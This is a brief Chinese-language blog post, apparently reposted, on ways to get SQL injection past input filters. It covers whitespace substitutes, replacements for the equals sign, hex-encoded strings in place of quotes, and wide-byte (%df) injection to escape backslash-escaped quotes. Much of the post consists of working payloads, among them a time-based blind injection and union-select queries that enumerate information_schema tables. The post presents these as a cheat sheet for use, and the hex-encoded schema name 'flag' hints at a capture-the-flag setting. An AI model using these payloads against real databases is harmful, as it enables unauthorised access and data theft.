注入的绕过
Posted aardwolf
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了注入的绕过相关的知识,希望对你有一定的参考价值。
一、常用符号的绕过
1、空格
1 空格代替:%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
2、“ = ”号
使用like 、rlike 、regexp 、< 或者 >
3、字符串无法使用引号
可以用16进制来表示字符串:用编码转换工具转换你要的字符串,前缀 0x 即可。
例如: ?id=1%df‘ union select table_name from information_schema.tables where table_schema=0x666c6167(‘flag‘) %23
4、宽字节绕过单引号转义
在判断注入点的过程中,加单引号“ ‘ ”,发现被“ ”转义了,可以尝试宽字节注入
1 原理:由于mysql的特性,gbk是多字节编码,它用两个字节代表一个汉字,所以构造一个字节和后面的“ ”也就是%5c变成了一个汉字,“ ‘ ”就能逃逸出来了。 2 测试:在常规输入后加入 ‘ 发现被转义,改成加入 %df‘ ,若报错则可能存在宽字节注入 3 构造:用 %df 来做“ ‘ ”的前缀,再用常规注入手段就好了
因为爆库爆表爆字段过程中要用到字符串,也会用到“ ‘ ”或“ " ”。所以还会用到上面讲的字符串16进制化的绕过方法。
例如:前面不写了+ ?id=1%df‘ union select 1,2,table_name from information_schema.tables where table_schema=0x666c6167(‘flag‘) limit 0,1 %23